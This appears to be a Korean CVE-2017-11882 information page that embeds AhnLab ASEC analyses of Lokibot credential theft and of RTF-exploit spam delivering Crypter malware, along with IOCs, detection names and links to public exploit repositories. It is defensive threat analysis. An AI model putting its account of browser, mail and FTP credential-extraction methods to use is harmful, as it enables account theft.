Explorer\IntelliForms\Storage2 このキーに含まれているレジストリ名(Value)は Hash 形式の URL であり、この名前のデータ(Data)は当該 URL に対するエンコードされた形式のアカウント情報である。問題は、このレジストリキーだけではアカウント情報が保存された Web サイトの URL とその URL のアカウント情報を確認できないことである。 そこで、Lokibot は FindFirstUrlCacheEntryW()、FindNextUrlCacheEntry() を利用してURL Cache を入手し、レジストリキー HKCY\Software\Microsoft\Internet Explorer\TypedURLs を参照してユーザーが入力した URL を手に入れる。すなわち、アカウント情報が保存されているということは、URL のキャッシュやユーザーが入力したログに当該 URL が保存されていると判断できるため、できる限りこのような値を取得しようとするのである。 以降、このようにして入手した URL に対してそれぞれ Hash を求めたあと、前の Storage2 キーで求めたレジストリ名を比較する。マッチする URL を発見した場合、CryptUnprotectData()API を呼び出してその URL に対するアカウント情報を取得するが、この API 引数には Storage2 キー内部に存在するレジストリデータだけでなく、当該 URL も必要である。これによって、URL およびその URL に対応するアカウント情報を取得できる。 Lokibot は Internet Explorer の過去バージョン以外に、最新バージョンも対象にしてアカウント情報の取得を試みる。Windows 8以降のバージョンでは、アカウント情報は Vault という Windows システムによって保存されるが、これは過去バージョンの Edge Web ブラウザも同様である。Vault に保存されたアカウント情報を取得するために vaultcli.dll をロードしたあと、VaultEnumerateValuts()、VaultOpenVault()、VaultEnumerateItems()、VaultGetItem() のような API を利用して取得する。 a.2. Chromium基盤の Web ブラウザ 以下の Web ブラウザは Chromium 基板の Web ブラウザであり、大半が類似しているため Google Chrome を基準として説明する。 – Chrome、Comodo Dragon、ChromePlus、Nichrome、RockMelt、Spark、Chromium、Titan Browser、Torch、Yandex Browser、Vivaldi、Chromode、Superbird、Coowon、Mustang Browser、360 Browser、Citrio、Chrmoe Canaria、Orbitum、Iridium、Epic Privacy Browser、CocCoc Browser、Opera Stable、Opera Next、Sleipnir まず、\AppData\Local\Google\Chrome\User Data\Default\Login Data ファイルの存在有無を確認し、存在しない場合は Web Data ファイルを確認する。これは過去の Chromium バージョンではアカウント情報が Web Data ファイルに保存されていたためである。 Login Data を先にチェックしたあと、このファイルが存在しない場合は過去バージョンとみなして、Web Data ファイルを読み込むためであると見られる。参考に、Chromium 基盤の Web ブラウザごとにパスが若干異なる場合があるため、上記のパス以外にもいくつかのパスを更にチェックする。 Chromium 基盤の Web ブラウザのアカウント情報のパス このようにして見つけた Login Data ファイルは SQLite version 3 フォーマットのデータファイルであり、このファイルを読み込んで URL、ID、エンコードされたパスワードを探す。見つけたパスワードは IE と同様に、CryptUnprotectData()API でデコードする。参考に、このような方式は Google Chrome バージョン80以降からは通用しない。当該バージョン以降からは追加で Local State ファイルに存在するマスターキーを参照する必要があるため、最新バージョンの Chrome ではアカウント情報の流出が不可能である。 a.3. Firefox 以下の Web ブラウザは Mozilla Firefox 基盤の Web ブラウザであり、大半が類似しているため、Firefox を基準に説明していく。 – FireFox、IceDragon、K-Meleon、SeaMonkey、Flock、BlackHawk、Lunascape、Cyberfox、PaleMoon、WaterFox まず、レジストリを参照してインストールされているパスを入手する。その後、当該パスで nss3.dll と sqlite3.dll をロードし、バックグラウンドで使用される関数を求める。次に、\AppData\Roaming\Firefox\profiles.ini ファイルを通して設定ファイルのパスを入手する。 Firefox の場合、初期バージョンではアカウント情報が signons.txt、signons2.txt、signons3.txt ファイルに保存されていた。それ以降のバージョンから32.0まではsignons.sqlite、すなわち sqlite フォーマットのファイルに、そして、それ以降は json フォーマットの logins.json ファイルに保存されている。Lokibot は、これらのファイルすべてに対して情報流出を試みる。 Txt や json フォーマットの場合、いったんはアカウント情報が文字列として保存されているが、signons.sqlite ファイルに保存されているバージョンの場合は、上記でロードしたsqlite3.dll の関数を利用してSQLクエリ文によりアカウント情報を抽出する。 SQLクエリ文 アカウント情報の場合はエンコードして保存されるが、base64デコードと前にロードした nss3.dll (Network Security Service)の関数によってこれにデコードを実行する。 エンコードされた Firefox のアカウント情報をデコードするルーティン b. メールクライアント – 情報流出対象:Outlook、Thunderbird、PostBox、FossaMail、Foxmail、PocoMail、IncrediMail、gmailNotifierPro、CheckMail、Softwarenetz、OperaMail、Becky、WinChips、yMail、Trojita、TrulyMail Outlook の場合、以下のようなレジストリキーの下位キーで、 – HKCU\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook – HKCU\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook – HKCU\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook 以下のような値を求める。 – Email、SMTP Email Address、SMTP Server、SMTP User Name、SMTP User、POP3 Server、POP3 User Name、POP3 User、NNTP Email Address、NNTP User Name、NNTP Server、IMAP Server、IMAP User Name、IMAP User、HTTP User、HTTP Server URL、HTTPMail User Name、HTTPMail Server、POP3 Port、SMTP Port、IMAP Port Thunderbird、PostBox、FossaMail の場合はMozilla 基盤であって、パス名のみが異なり、上記で述べた Firefox と同じ方式が使用される。 c. FTP クライアント – 情報流出対象:FtpShell、Notepad++ Ftp、MyFtp、FTPBox、sherrod Ftp、FTP Now、NetSarang、EasyFtp、SFTP、AbleFTP、JaSFtp、Automize、CyberDuck、FTPInfo、LinasFtp、FileZilla、Staff Ftp、BlazeFtp、NetFile、GoFtp、AlFtp、DeluxeFTP、TotalCommand FTP、FtpGetter、WS_FTP、AnyClient、ExpanDrive、Steed、FlashFXP、NovaFTP、NetDrive、SmartFtp、FreshFtp、BitKinex、UltraFXP、OrdinFtp、Fling、ClassicFtp、WinFtp、WinSCP、32BitFtp、FtpNavigator d. インスタントメッセンジャー – 情報流出対象:Pidgin e. ファイルマネージャー – 情報流出対象:NexusFile、FullSync、Far、Syncovery、SecureFx f. パスワードマネージャー – 情報流出対象:mSecure、keePass、Enpass、Robo Form、1Password g. 付箋 – 情報流出対象:StickyPad、To-Do DeskList、Stickies、NoteFly、NoteZilla、Microsoft Sticky Notes h. ターミナルエミュレータ – 情報流出対象:Bitvise、Putty、SuperPutty、Kitty、Winbox i. ポーカーゲーム – 情報流出対象:ull Tilt Poker、Poker Stars j. VNC – 情報流出対象:TightVNC、RealVNC ユーザーは、疑わしいメールを受信した場合、添付ファイルを開かないようにしなければならない。また、V3 を最新バージョンにアップデートしてマルウェアへの感染を事前にブロックできるように注意を払わなければならない。 現在 V3 製品では、このマルウェアを 次のような診断名で診断している。 [ ファイルの診断 ] – Trojan/Win32.Lokibot.R349444 (2020.08.28.04) [ 行為の診断 ] – Malware/MDP.Inject.M218 [ 関連 IOC 情報 ] C2 – http://79.124.8[.]8/plesk-site-preview/benetaeu-group.com/http/79.124.8.8/wj1/Panel/fre.php HASH – d6e4167f31ade27c559b119adfbcfc88
ASEC スパムメールを悪用したCrypter系マルウェアの拡散および作動方式 2019-05-02
文書ファイルや圧縮ファイルを添付してマルウェアを拡散させる不正なスパムメールによる攻撃手法は、過去から現在まで絶えず攻撃者が使用しているマルウェア拡散方法のひとつである。AhnLab ASEC 分析チームは、多数の顧客から収集したスパムメールを分析した結果、電子メールに添付された不正な文書ファイルからダウンロードされたファイルが主に Crypter 系の情報流出型マルウェア( HawkEye、Nanocore、FormBook、Lokibot、Remcos )であることを確認した。Crypter 系のマルウェアは、暗号アルゴリズムを使用して AV シグネチャ検知ができないように、ファイル内部にマルウェアを暗号化した状態で保存したものをいう。 [図1] 不正な文書ファイルが添付されたスパムメール スパムメールに添付された不正な文書ファイルは、以下の [図2] のようにユーザーのアクションが必要な場合と、そうでない場合に分けられる。 [図2] ユーザーのアクションが必要な文書ファイル [図2] のような文書には、追加のマルウェアをダウンロードするマクロ機能を有効化するために、 「Enable Editing」 、 「Enable Content」 のような文句が文書内容に含まれている。 この場合、ユーザーが 「コンテンツの有効化」 ボタンをクリックしなければ追加のマルウェアはダウンロードされないが、問題はこれらマクロの形式ではなく、脆弱性を悪用した文書ファイルはユーザーのアクションがなくてもマルウェアをダウンロード、および実行する機能を持っていることである。そのため、文書自体を開かないようにする細心の注意が必要である。 ユーザーのアクションが不要であり、文書を開くだけでも追加のマルウェアがダウンロードされる恐れのある不正な文書ファイルは、主に RTF(Rich Text Format) 文書の脆弱性を利用している。RTF はマイクロソフトが開発した文書形式であり、フォーマット自体の互換性が容易なため、一部の RTF 文書ファイルは、アレアハングル(Hangul Word Processor)でも開くことができる。 攻撃者が使用するRTF文書の脆弱性の主な攻撃ベクトルは次の通りである。 OLE2Link 脆弱性 CVE-2017-8570 CVE-2017-0199 CVE-2017-8579 攻撃者は、RTF フォーマットの脆弱性以外にもRTF内部のストリームオブジェクトに MS Office の数式エディターの脆弱性を挿入し、追加のマルウェアをダウンロードするシェルコードを実行することもある。 MS Office 数式エディターの脆弱性 CVE-2017-11882 CVE-2018-0802 ユーザーが脆弱な RTF 文書ファイルを開いた場合、本文内容が以下の [図3] のように正常な場合もあるが、[図4] のように認識が困難な文字列の形式で本文内容を含んでいる場合もある。ユーザーは、添付ファイルを開くときにメール内容と関連性のない内容であったり、本文の内容が認識できない文字列の形式を持っていたりする場合、RTF の脆弱性を利用した文書である可能性を疑ってみる必要がある。 [図3] RTF 内部に正常な本文内容を含む場合 [図4] RTF 内部に認識が困難な文字列を含む場合 分析の結果、不正な RTF 文書によって最終的にシステムにダウンロードされるマルウェアは、HawkEye、Nanocore、FormBook、Lokibot、Remcos等、すでに広く知られている情報流出型マルウェアが大半であることを確認した。マルウェアの製作者は Nanocore のような既知のマルウェアに対するAVシグネチャ診断を難しくするために、VB 6.0、Delphi、AutoIt、.NETのような言語を使用して、そのマルウェアを内部に暗号化した状態で保存する。 [図5] Crypter 系マルウェアの構造 Crypter 系のマルウェアが実行されると、ファイル内部の暗号化されたPEを復号した後、RunPE、ProcessHollowing のような手法を使用して他のプロセスにインジェクションして作動する。 結果的に情報流出型マルウェアがユーザーのPCで実行されると、FTP、Web ブラウザ、Outlook パスワード等、ユーザーのアカウント情報が流出する恐れがあり、攻撃者によって流出情報を利用した第2の攻撃を実行される恐れがあるため、出所が不明なスパムメールを開かないように特に注意が必要である。 また、ユーザーは MS Office プロダクトラインのセキュリティ更新プログラムを最新の状態に保ち、脆弱性にさらされないように注意しなければならない。 現在、AhnLab 製品ではRTFの脆弱性文書ファイルを次のように診断している。 [ファイルの診断] – RTF/Exploit.Gen (2018.05.17.00) – RTF/Cve-2017-0199.Gen (2017.07.12.00) – RTF/Cve-2017-8759.Gen (2017.10.19.00) – RTF/Malform-A.Gen (2018.07.04.00) – RTF/Malform-B.Gen (2018.07.04.00) – RTF/Malform-C.Gen (2018.07.04.00) – RTF/Malform-D.Gen (2018.07.04.00) – RTF/Malform-E.Gen (2018.07.04.00) – RTF/Malform.Suspic (2018.07.04.00) [行為の診断] – Malware/MDP.Downloader.M1881
ASEC Distribution and Operation of Malware ‘Crypter’ Exploiting Spam Mail 2019-05-02
A malicious spam mail attack that distributes malware by attaching document or archive file has been one of the most popular method among the operators. AhnLab ASEC Analysis Team analyzed spam mails received from numbers of customers and confirmed that majority of files downloaded by malicious documents attached to the email were information stealer malware of ‘Crypter’ family: HawkEye, Nanocore, FormBook, Lokibot, Remcos. Malware Crypter complicates the signature detection of Anti-Virus(AV) by utilizing encryption algorithm and saving malware inside the file as encrypted. Figure 1. Spam mail with a malicious document attached As for malicious document attached to spam mail, it can be classified with the ones that require user action(Figure 2) and those not. Figure 2. Document file that requires user action Documents like the one shown on Figure 2 include messages such as “Enable Editing” and “Enable Content” to activate macro feature that downloads additional malware. In this case, the additional malware will not be downloaded unless user press “Enable Content” button. The problem is that non-macro document files that exploit vulnerability are capable of downloading and running malware without user action. Hence, the best way to remain secure is not opening the document file at all. Most of the malicious document files that do not require user action but just execution to download additional malware usually exploit Rich Text Format(RTF) document vulnerability. RTF is a document format developed by Microsoft, highly compatible and can even be opened on Hangul word processor in some instances. The following are the key attack vectors of RTF document vulnerability that attackers exploit: OLE2Link vulnerability CVE-2017-8570 CVE-2017-0199 CVE-2017-8579 Along with RTF format vulnerability, attackers also run shellcode that downloads additional malware aby inserting equation editor vulnerability of MS Office into RTF internal stream object. MS Office equation editor vulnerability CVE-2017-11882 CVE-2018-0802 When a user runs vulnerable RTF document file, the content may be normal like seen on Figure 3., but it also may print content in unidentifiable strings as seen on Figure 4. When opening an attachment file, users should suspect it as a document with RTF vulnerability it the file content is not related to the email or filled with unrecognizable strings. Figure 3. RTF file that contains readable text. Figure 4. RTF file that contains unrecognizable text. According to the analysis, ASEC confirmed that most of malware ultimately downloaded to the system via RTF document were prevalent malware including HawkEye, Nanocore, FormBook, Lokibot, Remcos. Operators use language such as VB 6.0, Delphi, AutoIt, .NET and save the malware as encrypted in order to complicate AV signature detection against well-known malware like Nanocore. Once Crypter type malware is executed, it decrypts the encrypted PE inside the file and injects it into other process by using technique like ProcessHollowing. When information stealer malware is run in PC, user’s account information such as FTP, web browser, and outlook password can be leaked. Since the attacker can maluse the information to perform the second attack, users must make sure not to open spam mails with unknown source. Also, users must conduct security update of MS Office products to the latest version to ensure that their PC is not exposed to vulnerability. – https://portal.msrc.microsoft.com/ko-kr/security-guidance AhnLab’s products detect the document file with RTF vulnerability under the following aliases: [File Detection] – RTF/Exploit.Gen (2018.05.17.00) – RTF/Cve-2017-0199.Gen (2017.07.12.00) – RTF/Cve-2017-8759.Gen (2017.10.19.00) – RTF/Malform-A.Gen (2018.07.04.00) – RTF/Malform-B.Gen (2018.07.04.00) – RTF/Malform-C.Gen (2018.07.04.00) – RTF/Malform-D.Gen (2018.07.04.00) – RTF/Malform-E.Gen (2018.07.04.00) – RTF/Malform.Suspic (2018.07.04.00) [Behavior Detection] – Malware/MDP.Downloader.M1881
자동 추천 장비와 근거 참고용
분류 체계(취약점 종류 CWE → 공격 유형 CAPEC → 공격 기법 ATT&CK) 매핑으로 계산한 후보입니다. 범위가 넓어 관련이 적은 장비가 섞입니다. 해당 장비가 이 공격을 탐지한다고 확인한 것은 아니며, 위의 '살펴볼 장비' 와 단계별 판정에는 쓰지 않습니다.
| 장비 | 방법 | 근거 경로 |
|---|---|---|
| 엔드포인트 탐지·대응 EDR | cwe | CWE-119 (직접 매핑) |
| 침입방지시스템 IPS | cwe | CWE-119 (직접 매핑) |
취약점 종류 CWE
- 버퍼 오버플로 — CWE-119 Improper Restriction of Operations within the Bounds of a Memory Buffer
영향받는 제품 CPE · 4건
| 제조사 | 제품 | 영향받는 버전 | 표준 표기CPE |
|---|---|---|---|
| microsoft | office | cpe:2.3:a:microsoft:office:2007:sp3:*:*:*:*:*:* | |
| microsoft | office | cpe:2.3:a:microsoft:office:2010:sp2:*:*:*:*:*:* | |
| microsoft | office | cpe:2.3:a:microsoft:office:2013:sp1:*:*:*:*:*:* | |
| microsoft | office | cpe:2.3:a:microsoft:office:2016:*:*:*:*:*:*:* |
참고 링크 29건
- 공격 코드 · 제3자 권고 http://reversingminds-blog.logdown.com/posts/3907313-fileless-attack-in-word-without-macros-cve-2017-11882
- 제3자 권고 · 취약점 DB http://www.securityfocus.com/bid/101757
- 제3자 권고 · 취약점 DB http://www.securitytracker.com/id/1039783
- 공격 코드 · 제3자 권고 https://0patch.blogspot.com/2017/11/did-microsoft-just-manually-patch-their.html
- 공격 코드 · 패치 · 제3자 권고 https://0patch.blogspot.com/2017/11/official-patch-for-cve-2017-11882-meets.html
- 공격 코드 · 제3자 권고 https://github.com/0x09AL/CVE-2017-11882-metasploit
- 공격 코드 · 제3자 권고 https://github.com/embedi/CVE-2017-11882
- 공격 코드 · 제3자 권고 https://github.com/rxwx/CVE-2017-11882
- 공격 코드 · 제3자 권고 https://github.com/unamer/CVE-2017-11882
- 패치 · 제조사 권고 https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-11882
- 공격 코드 · 제3자 권고 https://researchcenter.paloaltonetworks.com/2017/12/unit42-analysis-of-cve-2017-11882-exploit-in-the-wild/
- 공격 코드 · 완화 방법 · 제3자 권고 https://web.archive.org/web/20181104111128/https://embedi.com/blog/skeleton-closet-ms-office-vulnerability-you-didnt-know-about/
- 공격 코드 · 제3자 권고 · 취약점 DB https://www.exploit-db.com/exploits/43163/
- 제3자 권고 · 미국 정부 자료 https://www.kb.cert.org/vuls/id/421280
- 공격 코드 · 제3자 권고 http://reversingminds-blog.logdown.com/posts/3907313-fileless-attack-in-word-without-macros-cve-2017-11882
- 제3자 권고 · 취약점 DB http://www.securityfocus.com/bid/101757
- 제3자 권고 · 취약점 DB http://www.securitytracker.com/id/1039783
- 공격 코드 · 제3자 권고 https://0patch.blogspot.com/2017/11/did-microsoft-just-manually-patch-their.html
- 공격 코드 · 패치 · 제3자 권고 https://0patch.blogspot.com/2017/11/official-patch-for-cve-2017-11882-meets.html
- 공격 코드 · 제3자 권고 https://github.com/0x09AL/CVE-2017-11882-metasploit
- 공격 코드 · 제3자 권고 https://github.com/embedi/CVE-2017-11882
- 공격 코드 · 제3자 권고 https://github.com/rxwx/CVE-2017-11882
- 공격 코드 · 제3자 권고 https://github.com/unamer/CVE-2017-11882
- 패치 · 제조사 권고 https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-11882
- 공격 코드 · 제3자 권고 https://researchcenter.paloaltonetworks.com/2017/12/unit42-analysis-of-cve-2017-11882-exploit-in-the-wild/
- 공격 코드 · 완화 방법 · 제3자 권고 https://web.archive.org/web/20181104111128/https://embedi.com/blog/skeleton-closet-ms-office-vulnerability-you-didnt-know-about/
- 공격 코드 · 제3자 권고 · 취약점 DB https://www.exploit-db.com/exploits/43163/
- 제3자 권고 · 미국 정부 자료 https://www.kb.cert.org/vuls/id/421280
- 미국 정부 자료 https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2017-11882
용어 설명 CVE · CVSS · EPSS · KEV · NVD …
- CVE 취약점 번호
- 공개된 보안 취약점마다 붙는 국제 고유 번호입니다. 예: CVE-2021-44228(Log4j). 가운데 숫자는 번호를 받은 해입니다.
- CVSS 위험도 점수
- 취약점이 얼마나 위험한지 0~10점으로 매긴 국제 표준 점수입니다. 심각 9.0 이상 · 높음 7.0~8.9 · 중간 4.0~6.9 · 낮음 0.1~3.9. 공격이 얼마나 쉬운지와 피해 크기로 정하며, 실제로 공격받고 있는지는 반영하지 않습니다.
- EPSS 악용 가능성
- 앞으로 30일 안에 실제 공격에 쓰일 확률을 추정한 값(0~100%)입니다. 국제 보안 단체 FIRST 가 매일 계산합니다. 높을수록 먼저 조치하세요.
- KEV 실제 악용 확인
- 미국 사이버보안청(CISA)이 실제 공격에 쓰인 것을 확인한 취약점만 모은 목록입니다. 여기에 있으면 가장 먼저 조치할 대상입니다. '랜섬웨어' 표시는 랜섬웨어 공격에 쓰인 것으로 알려진 것입니다.
- 공격 코드 공개된 PoC
- NVD 참고 링크 중 '공격 코드(Exploit)' 표시가 붙은 것이 있다는 뜻입니다. 누구나 공격을 시도해 볼 수 있으므로 서두르는 게 좋지만, 실제 악용이 확인된 것(KEV)과는 다릅니다.
- NVD 미국 취약점 DB
- 미국 국립표준기술연구소(NIST)가 운영하는 취약점 데이터베이스입니다. CVE 마다 설명·CVSS 점수·영향받는 제품·취약점 종류를 붙입니다. 이 사이트 설명의 원문 출처입니다.
- 우선순위 이 사이트의 참고 점수
- CVSS·KEV·랜섬웨어·EPSS·ASEC 언급·공격 코드 공개를 합쳐 계산한 점수입니다. 높을수록 먼저 살펴보세요. 공식 점수가 아닙니다.
- ASEC 안랩 분석 글
- 안랩 보안대응센터 블로그입니다. 'ASEC 3' 은 분석 글에 그 CVE 번호가 3번 나왔다는 뜻이며, 국내에서 악용이 확인됐다는 뜻은 아닙니다.
- CWE 취약점 종류
- 취약점 종류의 분류 번호입니다. 예: CWE-89 SQL 인젝션, CWE-79 크로스 사이트 스크립팅.
- CPE 영향받는 제품
- 취약점이 있는 제품과 버전을 적는 표준 표기입니다. 예: apache:tomcat 9.0.0~9.0.80.
- 시나리오 · 번역
- '시나리오' 는 단계별 판정 초안이 있다는 표시입니다(없다고 안전한 것은 아닙니다). '(번역)' 은 Claude 로 기계 번역한 설명입니다.